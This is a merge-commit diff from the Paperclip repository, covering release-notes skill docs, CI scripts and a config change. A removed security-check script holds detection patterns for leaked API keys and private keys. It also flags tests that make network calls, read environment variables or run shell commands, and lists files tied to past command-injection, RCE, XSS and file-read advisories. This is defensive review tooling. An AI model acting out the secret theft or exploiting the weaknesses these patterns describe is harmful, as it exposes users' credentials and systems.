Merge branch 'master' into PAP-17145-phase-1-codify-managed-runtime-coherence

# Conflicts:
#	doc/execution-semantics.md
This commit is contained in:
commitperclip-bot committed 2026-08-22 01:25:14 -07:00
commit 2fe9e53b07
997 files changed
+367086 -12645

No files matched your search

@@ -208,7 +208,7 @@ is missing, the cloned app does not have the expected companies/issues/agents,
or the user explicitly asks for the normal isolated-workspace database.
```sh
pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes
npx paperclipai worktree reseed --from-instance default --seed-mode full --yes
```
After reseed, restart through the managed runtime path. A reseed can copy
+4 -4
View File
@@ -493,12 +493,12 @@ Create secrets from environment variables so values do not land in shell history
export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)"
export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)"
pnpm exec paperclipai secrets create \
npx paperclipai secrets create \
--company-id <company-id> \
--name paperclip-page-aws-access-key-id \
--value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID
pnpm exec paperclipai secrets create \
npx paperclipai secrets create \
--company-id <company-id> \
--name paperclip-page-aws-secret-access-key \
--value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY
@@ -532,7 +532,7 @@ host `AWS_PROFILE` identity for the entire agent run:
Create or update the company skill from this package:
```bash
pnpm exec paperclipai skills create \
npx paperclipai skills create \
--company-id <company-id> \
--name "Paperclip Page" \
--slug paperclip-page \
@@ -543,7 +543,7 @@ pnpm exec paperclipai skills create \
Attach it to an agent:
```bash
pnpm exec paperclipai skills agent sync <agent-id-or-shortname> \
npx paperclipai skills agent sync <agent-id-or-shortname> \
--company-id <company-id> \
--skill paperclip-page
```
@@ -11,7 +11,11 @@ description: >
Write the Discord release announcement for the **stable** Paperclip release.
This is the companion to `.agents/skills/release-changelog/SKILL.md`. That skill
generates the file at `releases/vYYYY.MDD.P.md`. This skill turns that file into
writes the changelog — during the beta soak it lives at
`releases/beta/v{beta-version}.md` on the `release-notes/v{beta-version}`
branch, and after the stable ships a canonicalization PR renames it to
`releases/vYYYY.MDD.P.md` (see that skill's Channel Process section). This
skill turns that file into
a single copy-pasteable Discord block, in dotta's voice, and posts it as the
`discord_announcement` document on the release issue.
@@ -27,8 +31,9 @@ current Paperclip work — not invented.
## When to use
- After `release-changelog` has produced `releases/vYYYY.MDD.P.md` on the
release worktree/PR.
- After `release-changelog` has produced the changelog (beta-keyed on the
`release-notes/v{beta-version}` branch during the soak, or the
canonicalized `releases/vYYYY.MDD.P.md` after the stable ships).
- When the release issue (the one assigned by the release routine) asks for a
Discord announcement, or has a `discord_announcement` document that needs to
be refreshed for a new date/version.
@@ -123,6 +128,12 @@ Notes on the template:
- The opening and closing `:paperclip: :paperclip: :paperclip:` bookends are
part of the brand — keep them.
- Name the install channels somewhere in the post: `npx paperclipai@latest`
for the stable, `@beta` / `@nightly` / `@canary` for earlier access, and
Docker `:latest` moving **only** on stable releases.
- The FULL RELEASE NOTES link points at `releases/v{VERSION}.md` on
`master` — that file exists only after the post-stable canonicalization
PR merges. Merge it before the announcement is posted.
- Sections may be UPPERCASE or Title Case — dotta has used both. Pick a style
and stay consistent within a single post.
- Use `||@everyone||` (Discord spoiler-wrapped) at the very end so it pings
@@ -152,6 +163,9 @@ Mimic this register; do not invent a "professional" tone.
- **"WHATS NEXT" is forward-looking themes**, not a literal sprint list. 3–5
bullets is the right size. Pull these from active goals, in-flight projects,
and recent issues the team is working on — do not invent themes.
- **Highlights follow the changelog skill's delta rule**: a feature the
previous announcement already introduced appears only for what changed
this release, and does not headline twice for follow-through work.
- **"What's on my mind"** is dotta's personal/strategic thinking — docs gaps,
philosophical positioning ("we're the human control plane for ai labor"),
invitations ("if you've ever wanted to write about how you use Paperclip,
@@ -163,7 +177,8 @@ Mimic this register; do not invent a "professional" tone.
(follow the twitter, intros, beta sign-ups). No real ask → drop it.
- **Community** is the same contributors list that's in the changelog file,
fenced in a triple-backtick block, comma-separated `@username, @username`.
Exclude bots and Paperclip founders, same rules as the changelog skill.
Exclude bots and the specific folks on the changelog skill's canonical
exclusion list — same rules.
- **The "In Summary" mission line** evolves slowly. Use the most recent
variant unless dotta tells you otherwise. Recent variants:
- "PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK"
@@ -174,15 +189,19 @@ Mimic this register; do not invent a "professional" tone.
## Workflow
1. Read the matching `releases/vYYYY.MDD.P.md` produced by `release-changelog`.
Use the version and contributor list from that file — never re-derive them.
1. Read the matching changelog produced by `release-changelog` — the
beta-keyed file during the soak, `releases/vYYYY.MDD.P.md` once
canonicalized. Use the version and contributor list from that file —
never re-derive them.
2. Resolve the parent `release` case with key `paperclip-release:vYYYY.MDD.P`.
If it does not exist and Cases are enabled, create it using the schema in
`.agents/skills/release-changelog/SKILL.md` before creating child cases.
3. Read the **release issue thread** (the one assigned to you that ran the
release routine) — comments + linked issues + recent issues in the company
are the source for `WHATS NEXT` and `What's on my mind`. Pull real themes,
not invented ones.
are the source for `WHATS NEXT` and `What's on my mind`. Commits already
on `origin/master` **after** the beta source commit are prime "what's
next" material: they are literally the next release's content. Pull real
themes, not invented ones.
4. Re-read the three verbatim examples below — they're the canonical voice.
5. Draft the announcement using the template above.
6. PUT it as the `discord_announcement` document on the release issue (see
@@ -444,7 +463,8 @@ https://github.com/paperclipai/paperclip/blob/master/releases/v2026.427.0.md
Before handing off:
1. Version + date match the matching `releases/vYYYY.MDD.P.md` exactly.
2. Contributor list matches the changelog (same exclusions: bots, founders).
2. Contributor list matches the changelog (same exclusions: bots and the
changelog skill's canonical excluded-folks list).
3. Highlights are a subset of the changelog Highlights — same shipped features,
not invented or pre-alpha work.
4. `WHATS NEXT` and `What's on my mind` are pulled from real recent issues /
+79 -12
View File
@@ -32,14 +32,57 @@ Important rules:
- do not derive versions from semver bump types
- do not create canary changelog files
## Channel Process — Source Commit and File Location
Stables promote a **soaked beta**, so the changelog describes the beta's
source commit, not the tip of `master`:
- The release **source** is the commit the newest `beta/v<beta-version>`
tag points at (`{beta-src}` below). Resolve it with:
```bash
git fetch origin --tags
npm view paperclipai dist-tags # the beta dist-tag names the version
git rev-parse 'beta/v{beta-version}^{commit}'
```
- Commits on `master` after `{beta-src}` ship in the **next** release.
Never include them; they are input for a "what's next" section, not the
changelog.
- During the soak, the file lives at `releases/beta/v{beta-version}.md`
on the branch `release-notes/v{beta-version}` (PR to `master`). The
release workflow pushes that branch with a generated skeleton when the
beta publishes; work on it and rewrite the skeleton in place. If the
branch does not exist (a beta cut before the automation), create it
from `origin/master` and seed the skeleton:
```bash
./scripts/draft-stable-notes.sh {beta-version}
```
- The PR must merge to `master` **before** the stable is dispatched: the
stable preflight reads the file from `master` and fails without it.
- Never create `releases/vYYYY.MDD.P.md` yourself on this path — after
the stable ships, the workflow opens a canonicalization PR that renames
the beta-keyed file to it.
- **Fix path exception** (patch releases from a `candidate/release-*`
branch): there the notes *do* go directly on the candidate branch as
`releases/vYYYY.MDD.P.md`, committed alongside the cherry-picked fixes.
## Step 0 — Idempotency Check
Before generating anything, check whether the file already exists:
Before generating anything, check whether the changelog already exists:
```bash
ls releases/vYYYY.MDD.P.md 2>/dev/null
ls releases/beta/v{beta-version}.md 2>/dev/null # soak-window home
ls releases/vYYYY.MDD.P.md 2>/dev/null # canonicalized / fix path
git ls-remote origin 'refs/heads/release-notes/v{beta-version}'
```
A `release-notes/v{beta-version}` branch holding only the generated
skeleton is the normal starting state, not a conflict — rewrite it in
place.
If it exists:
1. read it first
@@ -49,13 +92,17 @@ If it exists:
## Step 1 — Determine the Stable Range
Find the last stable tag:
Find the last stable tag and the beta source commit:
```bash
git tag --list 'v*' --sort=-version:refname | head -1
git log v{last}..HEAD --oneline --no-merges
beta_src="$(git rev-parse 'beta/v{beta-version}^{commit}')"
git log v{last}..${beta_src} --oneline --no-merges
```
The changelog range is always `v{last}..{beta-src}` — never `..HEAD` and
never `..origin/master`.
The stable version comes from one of:
- an explicit maintainer request
@@ -76,8 +123,8 @@ Collect release data from:
Useful commands:
```bash
git log v{last}..HEAD --oneline --no-merges
git log v{last}..HEAD --format="%H %s" --no-merges
git log v{last}..{beta-src} --oneline --no-merges
git log v{last}..{beta-src} --format="%H %s" --no-merges
ls .changeset/*.md | grep -v README.md
gh pr list --state merged --search "merged:>={last-tag-date}" --json number,title,body,labels
```
@@ -94,10 +141,10 @@ Look for:
Key commands:
```bash
git diff --name-only v{last}..HEAD -- packages/db/src/migrations/
git diff v{last}..HEAD -- packages/db/src/schema/
git diff v{last}..HEAD -- server/src/routes/ server/src/api/
git log v{last}..HEAD --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true
git diff --name-only v{last}..{beta-src} -- packages/db/src/migrations/
git diff v{last}..{beta-src} -- packages/db/src/schema/
git diff v{last}..{beta-src} -- server/src/routes/ server/src/api/
git log v{last}..{beta-src} --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true
```
If breaking changes are detected, flag them prominently — they must appear in the
@@ -121,6 +168,14 @@ Guidelines:
- write from the user perspective
- keep highlights short and concrete
- spell out upgrade actions for breaking changes
- **describe deltas, not repeats**: read the previous stable's notes
(`releases/v<last-stable>.md`) before writing. When they already
introduced a feature, this release's entry covers only what changed —
a default flip, a hardening, a completion — phrased against the prior
release ("last release introduced X; this release makes it the
default"), never re-describing the feature as if it debuted. A theme
that headlined the previous release does not headline again for
follow-through work; demote it to Improvements.
### Inline PR and contributor attribution
@@ -143,6 +198,14 @@ Rules:
## Step 5 — Write the File
The **file path** is the beta-keyed one from the Channel Process section
(`releases/beta/v{beta-version}.md`), but the **content** is titled with
the planned stable version. Resolve it with
`./scripts/release.sh stable --date {planned-promotion-date} --print-version`
(promotion is normally the beta publish date plus the 3-day soak). If the
promotion date slips, the version re-resolves at dispatch — the beta-keyed
filename makes that harmless; refresh the title when it happens.
The opening line of the changelog must be an H1 of the format `# Paperclip {version}`
(no braces), e.g. `# Paperclip v2026.618.0`. Always include the `Paperclip ` prefix and
the `v` on the version.
@@ -177,14 +240,18 @@ The `Contributors` section should always be included. List every person who auth
commits in the release range, @-mentioning them by their **GitHub username** (not their
real name or email). To find GitHub usernames:
1. Extract usernames from merge commit messages: `git log v{last}..HEAD --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username.
1. Extract usernames from merge commit messages: `git log v{last}..{beta-src} --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username.
2. For noreply emails like `user@users.noreply.github.com`, the username is the part before `@`.
3. For contributors whose username is ambiguous, check `gh api users/{guess}` or the PR page.
**Never expose contributor email addresses.** Use `@username` only.
Exclude bot accounts (e.g. `lockfile-bot`, `dependabot`) from the list.
Exclude Paperclip founders from the list (e.g. `cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`)
Exclude specific folks from the list — the Contributors section credits
community contributors only. The canonical exclusion list (keep it here;
the Discord skill defers to it):
`cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`,
`nguyenm7`, `nickyleach`, `tonio-alucema`
List contributors in alphabetical order by GitHub username (case-insensitive).
+5 -2
View File
@@ -4,9 +4,12 @@
{
"name": "paperclip",
"runtimeExecutable": "/bin/sh",
"runtimeArgs": ["-c", "TMPDIR=/tmp pnpm dev"],
"runtimeArgs": [
"-c",
"TMPDIR=/tmp pnpm dev"
],
"port": 3108,
"autoPort": false
"autoPort": true
}
]
}
+6
View File
@@ -4,5 +4,11 @@ SERVE_UI=false
BETTER_AUTH_SECRET=paperclip-dev-secret
PAPERCLIP_TOOL_ACTION_SIGNING_SECRET=paperclip-dev-tool-action-signing-secret-change-me
# Process-wide protection for expensive full-tree workspace Git scans.
# PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY=2
# PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY=32
# PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS=8000
# PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS=10000
# Discord webhook for daily merge digest (scripts/discord-daily-digest.sh)
# DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...
+12 -10
View File
@@ -6,19 +6,21 @@ updates:
interval: weekly
day: monday
time: "06:00"
open-pull-requests-limit: 10
# Each dependency update gets its own pull request, including major
# version bumps. A grouped major PR cannot merge when one member has
# a blocked upgrade, so it hides the other ready majors. Separate PRs
# let each major land on its own. The limit holds the initial burst
# of pending majors plus the regular minor and patch updates.
open-pull-requests-limit: 20
labels:
- "dependencies"
groups:
# Bundle all major version bumps into a single weekly PR so they
# stay visible without flooding the PR list. Minor/patch updates
# still get individual PRs.
major-updates:
applies-to: version-updates
ignore:
# @types/node describes the APIs available in the supported Node runtime.
# Runtime major upgrades are deliberate compatibility changes, so keep
# Dependabot on the current major until the runtime baseline moves too.
- dependency-name: "@types/node"
update-types:
- "major"
patterns:
- "*"
- "version-update:semver-major"
- package-ecosystem: github-actions
directory: "/"
+135
View File
@@ -0,0 +1,135 @@
#!/usr/bin/env node
/**
* check-pr-coauthors.mjs
* Surfaces the `Co-Authored-By` trailers a squash merge needs to keep
* contributors credited.
* Export: checkCoauthors(commits, prAuthor) → { passed, informational }
*
* This repository squash-merges, so every commit on a branch collapses into
* one commit authored by whoever presses the button. When a branch carries
* someone else's work — a rebase of a stale contributor PR, a port of an
* abandoned branch, a pairing session — their name survives only if the squash
* message carries a `Co-Authored-By` trailer for them. Nothing prompts for it,
* and the PR page keeps showing the original author either way, so the loss is
* invisible at exactly the moment it happens.
*
* Identity matching is a heuristic and is deliberately biased. A commit GitHub
* could not match to an account is credited unless its name or email resolves
* to the PR author, which will occasionally credit someone as a co-author of
* themselves — their git config carrying a real name where the comparison has
* only a login. That error costs a line a human drops while pasting. The
* opposite error costs a contributor their attribution silently, which is the
* failure this gate exists to prevent, so the bias runs towards over-crediting.
*
* Informational rather than a failure, on purpose. The squash message does not
* exist while the PR is open, so this cannot be verified here and cannot be
* fixed here either. Failing the PR would block work on something its author
* has no way to satisfy. What this can do is notice that the situation applies
* and hand over the exact lines to paste.
*/
import { fileURLToPath } from 'node:url';
/**
* Fetches every commit on a PR across GitHub pagination.
*
* Capped at the API's own ceiling: `/pulls/{n}/commits` returns at most 250
* commits and silently stops. A branch that large is not the case this gate is
* about, and a partial list still surfaces the contributors it did see.
*/
export async function fetchAllPullRequestCommits(ghFetchFn, repo, prNumber, token) {
const commits = [];
for (let page = 1; page <= 3; page += 1) {
const batch = await ghFetchFn(
`/repos/${repo}/pulls/${prNumber}/commits?per_page=100&page=${page}`,
token
);
commits.push(...batch);
if (batch.length < 100) break;
}
return commits;
}
/** GitHub's own no-reply address for a login, which is what trailers should use. */
function noReplyEmail(login) {
return `${login}@users.noreply.github.com`;
}
export function checkCoauthors(commits, prAuthor) {
const author = (prAuthor ?? '').toLowerCase();
const contributors = new Map();
// Emails already accounted for under a GitHub login. One person can appear
// both ways in the same branch — some commits matched to their account, some
// authored with an email GitHub does not know — and keying on login alone
// would then emit two trailers for them.
const seenEmails = new Set();
for (const entry of commits ?? []) {
const login = entry?.author?.login ?? null;
const gitName = entry?.commit?.author?.name ?? null;
const gitEmail = entry?.commit?.author?.email ?? null;
// The PR author's own commits need no trailer — the squash is already
// theirs. Compared case-insensitively because GitHub logins are.
if (login && author && login.toLowerCase() === author) continue;
// Bots author plenty of commits and crediting them is noise.
if (login && /\[bot\]$/.test(login)) continue;
if (!login && !gitName) continue;
// A commit GitHub could not match to an account may still be the PR
// author's own — their git config carrying an email GitHub does not know.
// Without this they are listed as a co-author of themselves.
if (!login && author) {
const nameMatches = gitName && gitName.toLowerCase() === author;
const emailMatches = gitEmail && gitEmail.toLowerCase().startsWith(`${author}@`);
if (nameMatches || emailMatches) continue;
}
// Prefer the GitHub identity, so the trailer links to a profile. Fall back
// to the raw git author for a commit GitHub could not match to an account.
const name = login ?? gitName;
const email = login ? noReplyEmail(login) : gitEmail;
if (!email) continue;
// Keyed on identity, not on the rendered line. One person whose git config
// name changed across commits is still one person, and emitting them twice
// would put two trailers for the same contributor into the squash body.
const key = (login ?? gitEmail ?? name).toLowerCase();
if (contributors.has(key)) continue;
const emailKey = (gitEmail ?? '').toLowerCase();
if (emailKey && seenEmails.has(emailKey)) continue;
if (emailKey) seenEmails.add(emailKey);
const displayName = gitName && login ? gitName : name;
contributors.set(key, {
trailer: `Co-Authored-By: ${displayName} <${email}>`,
name: displayName,
});
}
if (contributors.size === 0) return { passed: true, informational: [] };
const trailers = [...contributors.values()].map(c => c.trailer).sort();
const names = [...new Set([...contributors.values()].map(c => c.name))].sort();
const who = names.length === 1 ? names[0] : `${names.length} other contributors`;
return {
passed: true,
informational: [
`This branch carries commits by ${who}. Squash-merging drops that authorship unless ` +
'the squash message carries their trailers, and nothing else will notice if it does not. ' +
'Add to the squash body when merging:\n\n' +
trailers.map(line => ` ${line}`).join('\n'),
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const commits = JSON.parse(process.env.PR_COMMITS ?? '[]');
const result = checkCoauthors(commits, process.env.PR_AUTHOR ?? '');
console.log(JSON.stringify(result));
process.exit(0);
}
@@ -0,0 +1,151 @@
#!/usr/bin/env node
/**
* check-pr-release-bootstrap.mjs
* Detects release packages that this PR adds or newly release-enables whose
* names do not exist on npm yet, and emits an informational notice: the
* `policy` CI job will stay red until a maintainer bootstraps the name with
* `pnpm run release:bootstrap-package`. Contributors cannot fix that
* themselves, so the notice says so explicitly.
*
* Never fails (informational only) — outputs { passed: true, informational: string[] }
*
* Runs under pull_request_target from base-branch context: it only parses
* JSON and diff text fetched from the GitHub API and queries the npm registry
* with scope-validated names. It never executes PR code.
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
import { resolveBaseRef } from './check-pr-dependencies.mjs';
const MANIFEST_PATH = 'scripts/release-package-manifest.json';
// Manifest content comes from the PR head (fork-controlled), so only names
// matching our scope are ever looked up on the registry.
const SCOPE_RE = /^@paperclipai\/[a-z0-9][a-z0-9._-]*$/;
const MAX_REGISTRY_LOOKUPS = 5;
function buildContentsPath(repo, filename, ref) {
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
}
async function fetchManifestEntries(fetchFromGitHub, token, repo, ref) {
try {
const res = await fetchFromGitHub(buildContentsPath(repo, MANIFEST_PATH, ref), token);
const parsed = JSON.parse(Buffer.from(res.content, 'base64').toString());
return Array.isArray(parsed) ? parsed : [];
} catch {
return []; // manifest missing or unreadable on this ref
}
}
export async function fetchRegistryPackageExists(packageName) {
const res = await fetch(`https://registry.npmjs.org/${encodeURIComponent(packageName)}`, {
method: 'HEAD',
});
if (res.status === 404) return false;
if (res.ok) return true;
throw new Error(`npm registry returned ${res.status} for ${packageName}`);
}
// Names this PR newly declares a workspace dependency on, per the diff of any
// changed package.json. If one of them is an unpublished manifest entry that
// is not publishFromCi:true, the release manifest validator rejects the PR.
export function addedWorkspaceDependencyNames(files) {
const names = new Set();
for (const file of files) {
if (!file.filename.endsWith('package.json')) continue;
if (file.filename.includes('node_modules')) continue;
for (const line of (file.patch ?? '').split('\n')) {
if (!line.startsWith('+')) continue;
const match = line.match(/"(@paperclipai\/[a-z0-9][a-z0-9._-]*)"\s*:\s*"workspace:/);
if (match) names.add(match[1]);
}
}
return names;
}
function buildNotice({ name, reason }) {
const bootstrap =
`a **maintainer** must run \`pnpm run release:bootstrap-package -- ${name} --publish\` ` +
'and configure npm trusted publishing (see `doc/PUBLISHING.md`)';
if (reason === 'depended') {
return (
`🚀 New release package \`${name}\` is not on npm yet, and published packages in this PR ` +
`depend on it, so the \`policy\` check will stay red: ${bootstrap}, then set its manifest ` +
`entry to \`"publishFromCi": true\` — or drop the workspace dependency. ` +
'No contributor action is needed for the bootstrap itself.'
);
}
return (
`🚀 New release package \`${name}\` is not on npm yet, so the \`policy\` check will stay ` +
`red: ${bootstrap}. No contributor action is needed for this.`
);
}
export async function checkReleaseBootstrap(files, token, repo, prNumber, baseRef, deps = {}) {
const { fetchFromGitHub = ghFetch, registryPackageExists = fetchRegistryPackageExists } = deps;
const manifestChanged = files.some(
f => f.filename === MANIFEST_PATH && f.status !== 'removed'
);
// A PR can hit the manifest edge validator without touching the manifest:
// adding a workspace:* dependency on an existing unpublished
// publishFromCi:false package. Patch parsing is free, so compute the added
// dependencies first and keep the zero-API fast path only for PRs that
// neither touch the manifest nor add a workspace dependency.
const dependedOn = addedWorkspaceDependencyNames(files);
if (!manifestChanged && dependedOn.size === 0) return { passed: true, informational: [] };
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
const [baseEntries, headEntries] = await Promise.all([
fetchManifestEntries(fetchFromGitHub, token, repo, resolvedBaseRef),
fetchManifestEntries(fetchFromGitHub, token, repo, `refs/pull/${prNumber}/head`),
]);
const basePublishFromCiByName = new Map(
baseEntries
.filter(e => e && typeof e.name === 'string')
.map(e => [e.name, e.publishFromCi === true])
);
const candidates = [];
for (const entry of headEntries) {
if (!entry || typeof entry.name !== 'string') continue;
const name = entry.name;
if (!SCOPE_RE.test(name)) continue;
const enabled = entry.publishFromCi === true;
const baseEnabled = basePublishFromCiByName.get(name);
if (enabled && baseEnabled !== true) {
// Newly release-enabled (added as true, or flipped false -> true): the
// bootstrap gate itself will fail if the name is missing from npm.
candidates.push({ name, reason: 'enabled' });
} else if (!enabled && dependedOn.has(name)) {
// Not release-enabled but this PR makes published packages depend on
// it: the manifest edge validator will fail if it stays unpublished.
candidates.push({ name, reason: 'depended' });
}
}
const informational = [];
for (const candidate of candidates.slice(0, MAX_REGISTRY_LOOKUPS)) {
let exists;
try {
exists = await registryPackageExists(candidate.name);
} catch {
continue; // registry hiccup: stay quiet, the policy job is the enforcer
}
if (!exists) informational.push(buildNotice(candidate));
}
return { passed: true, informational };
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
console.error('check-pr-release-bootstrap.mjs is a library used by run-quality-gates.mjs');
process.exit(1);
}
-393
View File
@@ -1,393 +0,0 @@
#!/usr/bin/env node
/**
* check-pr-security.mjs
* Runs 6 security checks against a PR diff. Never posts public comments.
* Creates a draft security advisory in the repo if any check fires.
*
* Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR
* Exit: always 0 — security flags are silent, never block the PR visibly.
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs';
import { resolveBaseRef } from './check-pr-dependencies.mjs';
// ── Pure check functions (exported for testing) ───────────────────────────────
const SECRET_PATTERNS = [
{ name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ },
{ name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ },
{ name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ },
{ name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ },
{ name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i },
];
export function scanSecrets(files) {
const flags = [];
for (const file of files) {
if (!file.patch) continue;
const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++'));
for (const line of added) {
for (const { name, re } of SECRET_PATTERNS) {
if (re.test(line)) {
flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) });
}
}
}
}
return flags;
}
const CI_BUILD_SCRIPTS = [
'scripts/release.sh',
'scripts/check-docker-deps-stage.mjs',
'scripts/check-release-package-bootstrap.mjs',
'scripts/release-package-map.mjs',
'scripts/docker-onboard-smoke.sh',
];
export function scanCITampering(files) {
return files
.filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed')
.map(f => ({ check: 'ci-tampering', file: f.filename }));
}
export function scanBuildScripts(files) {
return files
.filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed')
.map(f => ({ check: 'build-script-change', file: f.filename }));
}
export function scanSupplyChain(files) {
const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml');
if (!lockfile?.patch) return [];
const added = new Set();
const removed = new Set();
for (const line of lockfile.patch.split('\n')) {
const entry = parseLockfilePackageDiffEntry(line);
if (!entry) continue;
if (entry.sign === '+') added.add(entry.packageName);
if (entry.sign === '-') removed.add(entry.packageName);
}
const netNew = [...added].filter(p => !removed.has(p));
return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : [];
}
function parseLockfilePackageDiffEntry(line) {
const match = line.match(/^([+-])\s*(.+?)\s*$/);
if (!match) return null;
let [, sign, rawEntry] = match;
if (!rawEntry.endsWith(':')) return null;
rawEntry = rawEntry.slice(0, -1).trim();
if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) {
rawEntry = rawEntry.slice(1, -1);
}
rawEntry = rawEntry.replace(/\(.*$/, '').trim();
const versionSep = rawEntry.lastIndexOf('@');
if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null;
const packageName = rawEntry.slice(0, versionSep);
if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null;
return { sign, packageName };
}
const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//;
const SUSPICIOUS_PATTERNS = [
{ name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ },
{ name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ },
{ name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ },
{ name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// },
];
export function scanTestPatterns(files) {
const flags = [];
for (const file of files) {
if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue;
for (const { name, re } of SUSPICIOUS_PATTERNS) {
if (re.test(file.patch)) {
flags.push({ check: 'suspicious-test', file: file.filename, pattern: name });
}
}
}
return flags;
}
const SENSITIVE_PATHS = [
// Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes)
'packages/adapters/codex-local/',
// Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand
'server/src/services/workspace-realization.ts',
'server/src/routes/execution-workspaces.ts',
'server/src/routes/workspace-command-authz.ts',
// Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys
'server/src/routes/agents.ts',
// Advisory 4: Approval decision attribution spoofing via decidedByUserId
'server/src/routes/approvals.ts',
// Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform)
'ui/src/components/MarkdownBody.tsx',
// Advisory 7: Unauthenticated access to authenticated-mode endpoints
'server/src/routes/authz.ts',
// Advisory 8: Unauthenticated RCE via import authorization bypass
'server/src/routes/companies.ts',
// Advisory 9: Malicious skills able to exfiltrate / destroy user data
'server/src/routes/company-skills.ts',
// Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath
'server/src/services/agent-instructions.ts',
];
export function scanSensitivePaths(files) {
return files
.filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p)))
.map(f => ({
check: 'sensitive-path',
file: f.filename,
advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)),
}));
}
function buildContentsPath(repo, filename, ref) {
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
}
export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) {
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
const stale = [];
await Promise.all(SENSITIVE_PATHS.map(async (path) => {
try {
await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token);
} catch (err) {
// 404 means the file/directory no longer exists at this path
if (String(err.message).includes('404')) stale.push(path);
// Other errors (network, rate limit) — re-throw so we don't silently miss them
else throw err;
}
}));
return stale;
}
// ── Advisory creation ─────────────────────────────────────────────────────────
const SEVERITY_MAP = {
'supply-chain': 'critical',
'sensitive-path': 'critical',
'secret-scan': 'high',
'ci-tampering': 'high',
'suspicious-test': 'high',
'build-script-change': 'medium',
};
const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical'];
function worstSeverity(flags) {
return flags.reduce((worst, f) => {
const s = SEVERITY_MAP[f.check] ?? 'medium';
return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst;
}, 'low');
}
export function buildAdvisoryPayload(prNumber, prTitle, flags) {
const checkNames = [...new Set(flags.map(f => f.check))].join(', ');
return {
summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`,
description: [
`**PR:** #${prNumber} — ${prTitle}`,
`**Checks triggered:** ${checkNames}`,
'',
'**Details:**',
...flags.map(f => [
`- \`${f.check}\`: ${f.file ?? ''}`,
f.pattern ? ` (pattern: ${f.pattern})` : '',
f.packages ? ` (packages: ${f.packages.join(', ')})` : '',
f.line ? `\n \`${f.line}\`` : '',
].join('')),
'',
'> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.',
].join('\n'),
severity: worstSeverity(flags),
vulnerabilities: [],
};
}
export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) {
const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber);
